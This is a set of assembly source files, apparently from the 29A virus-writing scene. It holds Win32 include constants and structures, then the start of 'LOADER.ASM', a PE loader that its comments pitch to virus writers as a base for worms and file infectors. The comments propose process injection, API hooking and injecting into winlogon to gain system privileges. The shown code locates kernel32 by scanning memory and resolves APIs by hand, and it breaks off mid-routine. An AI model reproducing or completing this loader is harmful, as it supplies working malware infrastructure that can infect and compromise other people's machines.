PAGE_EXECUTE_READWRITE          EQU     00000040h
PAGE_EXECUTE_WRITECOPY          EQU     00000080h
PAGE_GUARD                      EQU     00000100h
PAGE_NOCACHE                    EQU     00000200h
MEM_COMMIT                      EQU     00001000h
MEM_RESERVE                     EQU     00002000h
MEM_DECOMMIT                    EQU     00004000h
MEM_RELEASE                     EQU     00008000h
MEM_FREE                        EQU     00010000h
MEM_PRIVATE                     EQU     00020000h
MEM_MAPPED                      EQU     00040000h
MEM_TOP_DOWN                    EQU     00100000h
SEC_FILE                        EQU     00800000h
SEC_IMAGE                       EQU     01000000h
SEC_RESERVE                     EQU     04000000h
SEC_COMMIT                      EQU     08000000h
SEC_NOCACHE                     EQU     10000000h
MEM_IMAGE                       EQU     SEC_IMAGE

; ÄÄ´ Code Page valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

CP_ACP                          EQU     0       ; ANSI code page
CP_OEMCP                        EQU     1       ; OEM  code page
CP_MACCP                        EQU     2       ; MAC  code page

; ÄÄ´ Message Box suport valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

MB_OK                           EQU     00000000h
MB_OKCANCEL                     EQU     00000001h
MB_ABORTRETRYIGNORE             EQU     00000002h
MB_YESNOCANCEL                  EQU     00000003h
MB_YESNO                        EQU     00000004h
MB_RETRYCANCEL                  EQU     00000005h
MB_TYPEMASK                     EQU     0000000Fh

MB_ICONHAND                     EQU     00000010h
MB_ICONQUESTION                 EQU     00000020h
MB_ICONEXCLAMATION              EQU     00000030h
MB_ICONASTERISK                 EQU     00000040h
MB_ICONMASK                     EQU     000000F0h

MB_ICONINFORMATION              EQU     MB_ICONASTERISK
MB_ICONSTOP                     EQU     MB_ICONHAND

MB_DEFBUTTON1                   EQU     00000000h
MB_DEFBUTTON2                   EQU     00000100h
MB_DEFBUTTON3                   EQU     00000200h
MB_DEFMASK                      EQU     00000F00h

MB_APPLMODAL                    EQU     00000000h
MB_SYSTEMMODAL                  EQU     00001000h
MB_TASKMODAL                    EQU     00002000h
```

```
MB_NOFOCUS                              EQU     00008000h

; ÄÄ´ Some general Win32 related structurez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

FILETIME                                STRUC
        FT_dwLowDateTime                DD ?
        FT_dwHighDateTime               DD ?
FILETIME                                ENDS

WIN32_FIND_DATA                         STRUC
        WFD_dwFileAttributes            DD ?
        WFD_ftCreationTime              FILETIME ?
        WFD_ftLastAccessTime            FILETIME ?
        WFD_ftLastWriteTime             FILETIME ?
        WFD_nFileSizeHigh               DD ?
        WFD_nFileSizeLow                DD ?
        WFD_dwReserved0                 DD ?
        WFD_dwReserved1                 DD ?
        WFD_szFileName                  DB MAX_PATH DUP (?)
        WFD_szAlternateFileName DB 13 DUP (?)
                                        DB 3 DUP (?)    ; dword padding
WIN32_FIND_DATA                         ENDS

SIZEOF_WIN32_FIND_DATA  EQU     SIZE WIN32_FIND_DATA

; ÄÄ´ Context related stuff (i386, i486) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; The following flagz control the contentz of the CONTEXT structure:

CONTEXT_i386    EQU     00010000h       ; This assumes that i386 and i486
CONTEXT_i486    EQU     00010000h       ;   have identical context recordz.

CONTEXT_CONTROL         EQU (CONTEXT_i386 OR 01h) ; SS:SP, CS:IP, FLAGS, BP.
CONTEXT_INTEGER         EQU (CONTEXT_i386 OR 02h) ; AX, BX, CX, DX, SI, DI.
CONTEXT_SEGMENTS        EQU (CONTEXT_i386 OR 04h) ; DS, ES, FS, GS.
CONTEXT_FLOATING_POINT  EQU (CONTEXT_i386 OR 08h) ; 387 state
CONTEXT_DEBUG_REGISTERS EQU (CONTEXT_i386 OR 10h) ; DB 0-3,6,7

CONTEXT_FULL            EQU (CONTEXT_CONTROL OR CONTEXT_INTEGER OR \
                             CONTEXT_SEGMENTS)

; Size of the 80387 save area, which is in the context frame:

SIZE_OF_80387_REGISTERS                 EQU     80

FLOATING_SAVE_AREA                      STRUC
        ControlWord                     DD      ?
        StatusWord                      DD      ?
        TagWord                         DD      ?
        ErrorOffset                     DD      ?
        ErrorSelector                   DD      ?
        DataOffset                      DD      ?
        DataSelector                    DD      ?
        RegisterArea                    DB      SIZE_OF_80387_REGISTERS DUP (?)
        Cr0NpxState                     DD      ?
FLOATING_SAVE_AREA                      ENDS

; Context Frame:

CONTEXT                                 STRUC

; The flags valuez - within the ContextFlags field - control the
; contentz of the CONTEXT structure.
;
; If the context record is used as an input parameter, then
; for each portion of the context record controlled by a flag
; whose value is set, it is asumed that that portion of the
; context record contains valid context. If the context record
```

```
; is being used to modify a threadz context, then only that
; portion of the threadz context will be modified.
;
; If the context record is used as an IN OUT parameter to capture
; the context of a thread, then only those portionz of the thread's
; context corresponding to set flags will be returned.
;
; The context record is never used as an OUT only parameter.

        CONTEXT_ContextFlags    DD      ?

; This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
; set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT
; included in CONTEXT_FULL:

        CONTEXT_Dr0             DD      ?
        CONTEXT_Dr1             DD      ?
        CONTEXT_Dr2             DD      ?
        CONTEXT_Dr3             DD      ?
        CONTEXT_Dr6             DD      ?
        CONTEXT_Dr7             DD      ?

; This section is specified/returned if the
; ContextFlags word contains the flag CONTEXT_FLOATING_POINT:

        CONTEXT_FloatSave       FLOATING_SAVE_AREA      ?

; This section is specified/returned if the
; ContextFlags word contains the flag CONTEXT_SEGMENTS:

        CONTEXT_SegGs           DD      ?
        CONTEXT_SegFs           DD      ?
        CONTEXT_SegEs           DD      ?
        CONTEXT_SegDs           DD      ?

; This section is specified/returned if the
; ContextFlags word contains the flag CONTEXT_INTEGER:

        CONTEXT_Edi             DD      ?
        CONTEXT_Esi             DD      ?
        CONTEXT_Ebx             DD      ?
        CONTEXT_Edx             DD      ?
        CONTEXT_Ecx             DD      ?
        CONTEXT_Eax             DD      ?

; This section is specified/returned if the
; ContextFlags word contains the flag CONTEXT_CONTROL:

        CONTEXT_Ebp             DD      ?
        CONTEXT_Eip             DD      ?
        CONTEXT_SegCs           DD      ?       ; MUST BE SANITIZED
        CONTEXT_EFlags          DD      ?       ; MUST BE SANITIZED
        CONTEXT_Esp             DD      ?
        CONTEXT_SegSs           DD      ?

CONTEXT                         ENDS

; ÄÄ´ Structured Exception Handling (SEH) related stuff ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; This structure is the one pointed to by FS:[0]:

EXCEPTIONREGISTRATIONRECORD     STRUC   ; != EXCEPTION_RECORD structure
        ERR_prev_structure      DD      EXCEPTIONREGISTRATIONRECORD PTR ?
        ERR_ExceptionHandler    DD      BYTE PTR ? ; CODE PTR
        ; These are the minimun fieldz required for proper OS operation
        ; Other undocumented fieldz exist for Microsoft and Borland compilerz
EXCEPTIONREGISTRATIONRECORD     ENDS
```

```
; Exception record definition:

EXCEPTION_MAXIMUM_PARAMETERS    EQU     15      ; max # of except paramz

EXCEPTION_RECORD                STRUC
        ER_ExceptionCode        DD      ?
        ER_ExceptionFlags       DD      ?
        ER_ExceptionRecord      DD      EXCEPTION_RECORD PTR ?
        ER_ExceptionAddress     DD      BYTE PTR ? ; CODE PTR
        ER_NumberParameters     DD      ?
        ER_ExceptionInformation DD      EXCEPTION_MAXIMUM_PARAMETERS DUP (?)
EXCEPTION_RECORD                ENDS

EXCEPTION_POINTERS              STRUC
        EP_ExceptionRecord      DD      EXCEPTION_RECORD PTR ?
        EP_ContextRecord        DD      CONTEXT PTR ?
EXCEPTION_POINTERS              ENDS

; Other SEH related constantz and return valuez:

EXCEPTION_EXECUTE_HANDLER       EQU     1
EXCEPTION_CONTINUE_SEARCH       EQU     0
EXCEPTION_CONTINUE_EXECUTION    EQU     -1

EXCEPTION_ACCESS_VIOLATION              EQU     0C0000005h
EXCEPTION_DATATYPE_MISALIGNMENT         EQU     080000002h
EXCEPTION_BREAKPOINT                    EQU     080000003h
EXCEPTION_SINGLE_STEP                   EQU     080000004h
EXCEPTION_ARRAY_BOUNDS_EXCEEDED         EQU     0C000008Ch
EXCEPTION_FLT_DENORMAL_OPERAND          EQU     0C000008Dh
EXCEPTION_FLT_DIVIDE_BY_ZERO            EQU     0C000008Eh
EXCEPTION_FLT_INEXACT_RESULT            EQU     0C000008Fh
EXCEPTION_FLT_INVALID_OPERATION         EQU     0C0000090h
EXCEPTION_FLT_OVERFLOW                  EQU     0C0000091h
EXCEPTION_FLT_STACK_CHECK               EQU     0C0000092h
EXCEPTION_FLT_UNDERFLOW                 EQU     0C0000093h
EXCEPTION_INT_DIVIDE_BY_ZERO            EQU     0C0000094h
EXCEPTION_INT_OVERFLOW                  EQU     0C0000095h
EXCEPTION_PRIV_INSTRUCTION              EQU     0C0000096h
EXCEPTION_IN_PAGE_ERROR                 EQU     0C0000006h
EXCEPTION_ILLEGAL_INSTRUCTION           EQU     0C000001Dh
EXCEPTION_NONCONTINUABLE_EXCEPTION      EQU     0C0000025h
EXCEPTION_STACK_OVERFLOW                EQU     0C00000FDh
EXCEPTION_INVALID_DISPOSITION           EQU     0C0000026h
EXCEPTION_GUARD_PAGE                    EQU     080000001h

; Useful structure to access the "Except_Handler" function argumentz:

Except_Handler                  STRUC
        EH_Dummy                DD      ?                       ; Ret address
        EH_ExceptionRecord      DD      EXCEPTION_RECORD PTR ?
        EH_EstablisherFrame     DD      BYTE PTR ?
        EH_ContextRecord        DD      CONTEXT PTR ?
        EH_DispatcherContext    DD      BYTE PTR ?
Except_Handler                  ENDS

; The following macroz "@SEH_SetupFrame" and "@SEH_RemoveFrame" are limited
; assembler versionz of the _try and _except keywordz used in C language.
; They provide fast and powerful "Structured Exception Handling" support
; for Win32 applicationz in a few linez of code. Though Microsoft seems
; intent on hiding the details of OS-level structured exception handling,
; this code relies on documented featurez of the Win32 API implementation
; and as such it works in both Windoze 95 and Windoze NT.

@SEH_SetupFrame macro   ExceptionHandler
                local   set_new_eh
                call    set_new_eh
                mov     esp,[esp.EH_EstablisherFrame]
```

```
                ExceptionHandler
    set_new_eh: xor     edx,edx         ; Setup new SEH frame
                push    dword ptr fs:[edx]
                mov     fs:[edx],esp
endm

; The ExceptionHandler argument in the @SEH_SetupFrame macro definition
; can be a single instruction or another macro containing several of them.

@SEH_RemoveFrame macro
                 xor    edx,edx         ; Remove new SEH frame and set old
                 pop    dword ptr fs:[edx]
                 pop    edx
endm

comment #
// Exception disposition return values.

typedef enum _EXCEPTION_DISPOSITION {
    ExceptionContinueExecution,
    ExceptionContinueSearch,
    ExceptionNestedException,
    ExceptionCollidedUnwind
} EXCEPTION_DISPOSITION;

EXCEPTION_DISPOSITION __cdecl _except_handler (
    struct _EXCEPTION_RECORD *ExceptionRecord,
    void * EstablisherFrame,
    struct _CONTEXT *ContextRecord,
    void * DispatcherContext
    );
#

; ÄÄ´ Some Win32 function prototypez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

comment *
HANDLE  CreateFileA
  (ptr)  lpFileName              ; ptr to name of file
         dwDesiredAccess         ; access (read-write) mode
         dwShareMode             ; share mode
  (ptr)  lpSecurityAttributes    ; ptr to SECURITY_ATTRIBUTES struc
         dwCreationDisposition   ; how to create
         dwFlagsAndAttributes    ; file and flag attributez
  (hnd)  hTemplateFile           ; handle to file with attributez to copy

Returns: opened handle if ok, INVALID_HANDLE_VALUE if error.

; dwDesiredAccess valuez:

GENERIC_READ
GENERIC_WRITE

; dwShareMode valuez:

0 ; not shared
FILE_SHARE_READ
FILE_SHARE_WRITE

; dwCreationDisposition valuez:

CREATE_NEW
CREATE_ALWAYS
OPEN_EXISTING
OPEN_ALWAYS
TRUNCATE_EXISTING

; dwFlagsAndAttributes valuez:
```

```
FILE_ATTRIBUTE_READONLY
FILE_ATTRIBUTE_HIDDEN
FILE_ATTRIBUTE_SYSTEM
FILE_ATTRIBUTE_ARCHIVE
FILE_ATTRIBUTE_NORMAL
FILE_ATTRIBUTE_COMPRESSED

FILE_FLAG_WRITE_THROUGH
FILE_FLAG_OVERLAPPED
FILE_FLAG_NO_BUFFERING
FILE_FLAG_RANDOM_ACCESS
FILE_FLAG_SEQUENTIAL_SCAN
FILE_FLAG_DELETE_ON_CLOSE
FILE_FLAG_BACKUP_SEMANTICS
FILE_FLAG_POSIX_SEMANTICS

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

HANDLE CreateFileMappingA
  (hnd)  hFile                          ; file handle to map
  (ptr)  lpFileMappingAttributes        ; ptr to SECURITY_ATTRIBUTES struc
         flProtect                      ; protection for mapping object
         dwMaximumSizeHigh              ; high-order 32 bitz of object size
         dwMaximumSizeLow               ; low-order 32 bitz of object size
  (ptr)  lpName                         ; name of file-mapping object

Returns: handle to file-mapping object if ok, NULL if error.

; flProtect valuez:

PAGE_READONLY
PAGE_READWRITE
PAGE_WRITECOPY

SEC_COMMIT
SEC_IMAGE
SEC_NOCACHE
SEC_RESERVE

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

LPVOID MapViewOfFile
  (hnd)  hFileMappingObject     ; mapping object to map into address space
         dwDesiredAccess        ; access mode
         dwFileOffsetHigh       ; high-order 32 bitz of file offset
         dwFileOffsetLow        ; low-order 32 bitz of file offset
         dwNumberOfBytesToMap   ; number of bytez to map

Returns: starting address of the mapped view if ok, NULL if error.

; dwDesiredAccess:

FILE_MAP_WRITE
FILE_MAP_READ
FILE_MAP_ALL_ACCESS
FILE_MAP_COPY

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

HANDLE FindFirstFileA
  (ptr)  lpFileName             ; ptr to name of file to search for
  (ptr)  lpFindFileData         ; ptr to WIN32_FIND_DATA struc

Returns: opened handle if ok, INVALID_HANDLE_VALUE if error.
         it also fills structure pointed by lpFindFileData on return.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
*
```

```
; ÄÄ´ Some macroz for most common functionz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

@OpenFile       macro   ; open file with r/o or r/w access, not shared
                        ; on input: ECX = desired access, EDX = pszFileName
                xor     eax,eax
                push    eax                             ; 0
                push    FILE_ATTRIBUTE_NORMAL
                push    OPEN_EXISTING
                push    eax                             ; NULL
                push    eax                             ; 0
                push    ecx             ; desired access
                push    edx             ; pszFileName
                call    CreateFileA
endm

@OpenFileR      macro pszFileName ; Open file for r/o access, not shared
                xor     eax,eax
                push    eax                             ; 0
                push    FILE_ATTRIBUTE_NORMAL
                push    OPEN_EXISTING
                push    eax                             ; NULL
                push    eax                             ; 0
                push    GENERIC_READ
                push    pszFileName
                call    CreateFileA
endm

@OpenFileW      macro pszFileName ; Open file for r/w access, not shared
                xor     eax,eax
                push    eax                             ; 0
                push    FILE_ATTRIBUTE_NORMAL
                push    OPEN_EXISTING
                push    eax                             ; NULL
                push    eax                             ; 0
                push    GENERIC_READ OR GENERIC_WRITE
                push    pszFileName
                call    CreateFileA
endm

---------------------------------
---------------------------------
---------------------------------
---------------------------------


USEFUL.INC
----------

;
;                        . .: .:.. :.. .. .:.::. :. ..:
;                      <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
;                        .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
;                        . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
;                         ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
;                        >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
;                       .: .:.. ..:. .: ..:.::. ::.. :.:.
;
;                               [29A INC files]
;                           Basic useful structurez
;                             by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains all basic constantz and general common structu-
; rez needed to work with other include and source ASM filez. This file will
; work only with TASM(32), of course. MASM sucks.. :P
;
```

```
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.


LF      equ     10
CR      equ     13
CRLF    equ     <13,10>

lo_hi_byte_word struc
                union
                struc
        lob     db      ?
        hib     db      ?
                ends
        lo_w    dw      ?
                ends
        hiw     dw      ?
lo_hi_byte_word ends

Pusha_struc             struc
        Pusha_di        dw      ?
        Pusha_si        dw      ?
        Pusha_bp        dw      ?
        Pusha_sp        dw      ?
        Pusha_bx        dw      ?
        Pusha_dx        dw      ?
        Pusha_cx        dw      ?
        Pusha_ax        dw      ?
Pusha_struc             ends

cPusha          equ     size Pusha_struc

Pushad_struc            struc
        Pushad_edi      dd      ?
        Pushad_esi      dd      ?
        Pushad_ebp      dd      ?
        Pushad_esp      dd      ?
        Pushad_ebx      dd      ?
        Pushad_edx      dd      ?
        Pushad_ecx      dd      ?
        Pushad_eax      dd      ?
Pushad_struc            ends

cPushad         equ     size Pushad_struc

@copysz         macro
                local   nxtchr
        nxtchr: lodsb
                stosb
                or      al,al
                jnz     nxtchr
endm

@endsz          macro
                local   nxtchr
        nxtchr: lodsb
                test    al,al
                jnz     nxtchr
endm

@pushsz         macro   msg2psh, empty
                local   next_instr
                ifnb    <empty>
```

```
                %out    too much arguments in macro '@pushsz'
                .err
                endif
                call    next_instr
                db      msg2psh,0
    next_instr:
endm

@pushbytes      macro   bts2psh, empty
                local   next_instr
                ifnb    <empty>
                %out    too much arguments in macro '@push_bytes'
                .err
                endif
                call    next_instr
                db      bts2psh
    next_instr:
endm

if @WordSize eq 2       ; 16 bits

API_Args        struc
        RetAddr dw      ?
        union
        Pshd    dw      ?       ;pushed
        Arg1    dw      ?
        ends
        irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16>
        Arg&Num dw      ?
        endm
API_Args        ends

endif

if @WordSize eq 4       ; 32 bits

API_Args        struc
        RetAddr dd      ?
        union
        Pshd    dd      ?       ;pushed
        Arg1    dd      ?
        ends
        irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16>
        Arg&Num dd      ?
        endm
API_Args        ends

endif


---------------------------------
---------------------------------
---------------------------------
---------------------------------

LOADER.ASM
----------

;
;       Win32.VxersPELoaderTool
;
;       This code by itself its not a virus, but it will help ;)
;
;       This code without WormBinary really is nothing. It doesnt infect or
propagate in any
;       manner.This code consist of a PE loader that will load a PE file. This
PE loader will
;       receive some parameters that will do it lot of flexible:
```

```
;
;                       parameter 1: pointer to ascii string with the name of
the PE
;                       file to load.
;                       parameter 2: pointer to real HeapAlloc kernel32
function.
;                       parameter 3: pointer to real HeapReAlloc kernel32
function.
;                       parameter 4: pointer to real CreateFile kernel32
function.
;                       parameter 5: pointer to real ReadFile kernel32 function.
;                       parameter 6: pointer to real SetFilePointer kernel32
function.
;                       parameter 7: HANDLE of heap of the process.
;                       parameter 8: pointer to real HeapFree kernel32 function.
;                       parameter 9: reserved.
;                       parameter 10: this paremeter should be null for external
callers.
;
;
;       Really now its being used only HeapAlloc,CreateFile,ReadFile and
SetFilePointer.
;       You can give real pointers to real windows functions to PE loader,or u
could give
;       it pointer to functions that u have writed, modifying the manner of
working of
;       the PE loader i.e. in this code im giving it pointers to my own
functions for
;       loading a PE that i have in memory (WormBinary offset).
;
;       On the other hand this code will load the PE file in WormBinary and it
will search
;       a export function in the PE file, "run", and it will call it with this
parameters:
;
;       int  __stdcall run(void * LoadLibraryA,
;                                  void * GetProcAddress,
;                                  void * AddrOfVirusBaseVxstart,  ;vxstart label
;                                  int    Size,                      ;size of
code(WormBinary Included)
;                                  int    OffsetOfHostEntryOffset,
;HostEntryOffset label
;                                  int    OffsetOfWormBinary,        ;WormBinary
label
;                                  int    SizeOfWormBinary           ;WormBinary
size
;                                  );
;
;     This function must return 1 if it wants the pe will not free when run
returns, or
;       0 if it wants this code free memory allocated after executing run.
;
;
;       Note the current WormBinary of this file is a "donothing" dll exporting
run(...)
;     function only for testing. What u can do with this code?:
;
;       You can create your own dll exporting your own run function. This
environment lets
;       you to code a worm, a infector, or any thing in any high or low level
language.
;
;       Note worm binary its at the last part of the code. This code is able to
load any
;       PE in that zone without recompiling. The code will parse PE headers for
finding the
;       end of the raw binary (without overlays). Then you could change the
binary in a
```

```
;       infection with, for example, other binary downloaded from internet, a
plugin.
;       Or u could add infection and polimorphism to a worm writted in high
level language.
;       Inject your PE with run function exported in other process and create a
remote thread
;       in vxstart, and hook createfile in all process :D ... Or inject it to
winlogon and
;       get system privileges :) ...
;
;       Really i think this code could be very useful for virus writers. Lot of
things could
;     be done with it.
;
;       Note the current appended worm binary was not compiled with
optimizations. You could
;       compiling it (at least in visual c) with size optimizations, or merging
sections, or
;       any thing.
;
;       Important note:
;
;       If the PE to be loaded its importing functions dlls must be in the
current directory.
;       In addition this loader will not load well a pe importing ntdll.dll
(directly or
;       indirectly) becoz ntdll.dll needs lot of extra initializations. Imported
dlls will
;       be loaded in memory lot of apis of ntdll will not work well.
;       Really im recommending ur pe to be appended here doesnt import anything.

;       Note run are getting as parameters a pointer to LoadLibrary and a
pointer
;       to GetProcAddress. With both apis you can get any other. Use it.
;
;       Other thing: fourth parameter of run(...), size, must be only used when
the pe
;       appended is the compiled with the code, not other changed in infection
time or
;       in any other manner. In that case use OffsetWormBinary+SizeOfWormBinary
to know
;       the total size.
;



.486
.model flat

extrn ExitProcess:proc
extrn HeapAlloc:proc
extrn HeapFree:proc
extrn HeapReAlloc:proc
extrn CreateFileA:proc
extrn ReadFile:proc
extrn SetFilePointer:proc
extrn GetProcessHeap:proc
extrn CopyFileA:proc
extrn GetLastError:proc
extrn GetProcAddress:proc
extrn LoadLibraryA:proc
extrn GetLastError:proc

PUBLIC _start

.data
db 0
.code
```

```
start:
_start:


jmp vxstart

mov esi,offset EndWormBinary - 1
movingcode:
mov al,[esi]
mov [esi+1],al
dec esi
cmp esi,offset vxstart - 1
je Endmovingcode
jmp movingcode
Endmovingcode:
mov esi,offset vxstart
mov byte ptr [esi],90h


ExitFirstGeneration:
push 0
call ExitProcess

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;

;29a files
include mz.inc
include pe.inc
include win32api.inc
include useful.inc


;;;;;;;;;;;;;;;;;;;;;;
CalcLenString macro
local loopin
push esi
dec esi
loopin:
inc esi
cmp byte ptr[esi],0
jne loopin
mov ecx,esi
pop esi
sub ecx,esi
endm
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
;esi->name1 edi->name2.
;When it finish, ecx = 0 if equal or different if not
CompareString macro
local retfalse
local rettrue
local loopin
push esi
dec esi
loopin:
inc esi
cmp byte ptr[esi],0
jne loopin
```

```
mov ecx,esi
pop esi
sub ecx,esi
or ecx,ecx
jz retfalse
cmp byte ptr [edi+ecx],0
jnz retfalse
inc ecx
push esi
push edi
repz cmpsb
pop edi
pop esi
or ecx,ecx
jz rettrue
retfalse:
mov ecx,1
rettrue:
endm
;;;;;;;;;;;;;;;;;;;;;


TOKEN_ASSIGN_PRIMARY              equ 00000001h
TOKEN_DUPLICATE                   equ 00000002h
TOKEN_IMPERSONATE                 equ 00000004h
TOKEN_QUERY                       equ 00000008h
TOKEN_QUERY_SOURCE                equ 00000010h
TOKEN_ADJUST_PRIVILEGES           equ 00000020h
TOKEN_ADJUST_GROUPS               equ 00000040h
TOKEN_ADJUST_DEFAULT              equ 00000080h
TOKEN_ALL_ACCESS                          equ STANDARD_RIGHTS_REQUIRED or \
                                                TOKEN_ASSIGN_PRIMARY     or \
                                                TOKEN_DUPLICATE          or \
                                                TOKEN_IMPERSONATE        or \
                                                TOKEN_QUERY              or \
                                                TOKEN_QUERY_SOURCE       or \
                                                TOKEN_ADJUST_PRIVILEGES  or \
                                                TOKEN_ADJUST_GROUPS      or \
                                                TOKEN_ADJUST_DEFAULT
SE_PRIVILEGE_ENABLED              equ 00000002h
CHECKSUM_SUCCESS                  equ 00000000h
CHECKSUM_OPEN_FAILURE             equ 00000001h
CHECKSUM_MAP_FAILURE              equ 00000002h
CHECKSUM_MAPVIEW_FAILURE          equ 00000003h
CHECKSUM_UNICODE_FAILURE          equ 00000004h
OBJ_CASE_INSENSITIVE              equ 00000040h
FILE_DIRECTORY_FILE             equ 00000001h
FILE_WRITE_THROUGH              equ 00000002h
FILE_SEQUENTIAL_ONLY              equ 00000004h
FILE_NO_INTERMEDIATE_BUFFERING  equ 00000008h
FILE_SYNCHRONOUS_IO_ALERT         equ 00000010h
FILE_SYNCHRONOUS_IO_NONALERT    equ 00000020h
FILE_NON_DIRECTORY_FILE           equ 00000040h
FILE_CREATE_TREE_CONNECTION       equ 00000080h
FILE_COMPLETE_IF_OPLOCKED         equ 00000100h
FILE_NO_EA_KNOWLEDGE              equ 00000200h
FILE_OPEN_FOR_RECOVERY          equ 00000400h
FILE_RANDOM_ACCESS              equ 00000800h
FILE_DELETE_ON_CLOSE            equ 00001000h
FILE_OPEN_BY_FILE_ID            equ 00002000h
FILE_OPEN_FOR_BACKUP_INTENT     equ 00004000h
FILE_NO_COMPRESSION             equ 00008000h
FILE_RESERVE_OPFILTER           equ 00100000h
FILE_OPEN_REPARSE_POINT         equ 00200000h
FILE_OPEN_NO_RECALL             equ 00400000h
FILE_OPEN_FOR_FREE_SPACE_QUERY  equ 00800000h
FILE_COPY_STRUCTURED_STORAGE    equ 00000041h
FILE_STRUCTURED_STORAGE         equ 00000441h
```

```
FILE_VALID_OPTION_FLAGS           equ 00ffffffh
FILE_VALID_PIPE_OPTION_FLAGS      equ 00000032h
FILE_VALID_MAILSLOT_OPTION_FLAGS  equ 00000032h
FILE_VALID_SET_FLAGS              equ 00000036h
FILE_SHARE_READ                     equ 00000001h
FILE_SHARE_WRITE                  equ 00000002h
FILE_READ_DATA                      equ 00000001h
FILE_WRITE_DATA                   equ 00000002h
FILE_APPEND_DATA                            equ 00000004h
FILE_OPEN_IF                      equ 00000003h
FILE_OPEN                                   equ 00000001h
FILE_NON_DIRECTORY_FILE           equ 00000040h
STATUS_SUCCESS                      equ 00000000h
SEC_COMMIT                                  equ 08000000h
SECTION_QUERY                     equ 00000001h
SECTION_MAP_WRITE                 equ 00000002h
SECTION_MAP_READ                        equ 00000004h
SECTION_MAP_EXECUTE               equ 00000008h
SECTION_EXTEND_SIZE                 equ 00000010h
STANDART_RIGTHS_REQUIRED          equ 000F0000h
SYNCHRONIZE                       equ 00100000h
THREAD_ALL_ACCESS equ (STANDARD_RIGHTS_REQUIRED + SYNCHRONIZE +  3FFh)
FILE_BEGIN                                  equ 00000000h
IMAGE_DOS_HEADERSIZE                equ size IMAGE_DOS_HEADER
IMAGE_NT_HEADERSSIZE                equ size IMAGE_NT_HEADERS
IMAGE_SECTION_HEADERSIZE            equ size IMAGE_SECTION_HEADER
HEAP_ZERO_MEMORY                            equ 00000008h

STARTUPINFOSIZE                   equ 68
PROCESSINFORMATIONSIZE              equ 16


vxstart:
pop  ebx
push ebx

SearchKernel:

xor bx,bx
cmp word ptr [ebx],'MZ'
je KernelFound
cmp word ptr [ebx],'ZM'
je KernelFound
sub ebx,1000h
jmp SearchKernel
KernelFound:



;we'll get some needed apis
call JumpOverMemoryApis
db 'GetProcAddress',0
GetProcAddressz equ GetProcessHeapz+4
db 'GetProcessHeap',0
GetProcessHeapz equ LoadLibraryz+4
db 'LoadLibraryA',0
LoadLibraryz equ HeapAllocz+4
HeapAllocz equ 0
JumpOverMemoryApis:
pop esi ;opcode 5e
GetNeededApis:
call PEGetProcAddr
or eax,eax
jz LeaveVirusCode
push eax
CalcLenString
lea esi,dword ptr [esi+ecx+1]
cmp byte ptr [esi],5eh ;becareful with apis starting with '^' :P
```

```
jne GetNeededApis

mov ebp,esp ;ebp pointing apis

call JumpOverHeapAlloc
db 'HeapAlloc',0                ;HeapAlloc api,as others,is problematic.
Exported addr is really
                                ;a string in this manner: NTDLL.RtlHeapAllocate
in ntdll, and
                                ;loader knows it must resolve import with this
other address.
JumpOverHeapAlloc:
push ebx
call dword ptr [ebp + GetProcAddressz-4]
push eax
mov ebp,esp ;ebp pointing apis

call dword ptr [ebp + GetProcessHeapz]
mov ebx,eax
push FILEHANDLESIZE
push HEAP_ZERO_MEMORY
push eax
